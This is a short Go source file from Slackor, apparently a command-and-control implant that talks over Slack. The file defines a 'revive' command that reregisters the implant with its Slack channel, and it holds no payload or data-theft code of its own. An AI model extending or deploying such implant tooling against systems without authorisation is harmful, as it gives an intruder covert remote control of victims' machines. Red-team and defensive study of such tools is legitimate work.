github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/revive.go (about) 1 package common 2 3 import ( 4 "fmt" 5 6 "github.com/n00py/Slackor/internal/slack" 7 "github.com/n00py/Slackor/pkg/command" 8 ) 9 10 // Revive reregisters the implant with the channel 11 type Revive struct{} 12 13 // Name is the name of the command 14 func (r Revive) Name() string { 15 return "revive" 16 } 17 18 // Run reregisters the implant with the channel 19 func (r Revive) Run(clientID string, jobID string, args []string) (string, error) { 20 slack.Register(clientID) 21 return fmt.Sprintf("Reregistering %s.", clientID), nil 22 } 23 24 func init() { 25 command.RegisterCommand(Revive{}) 26 }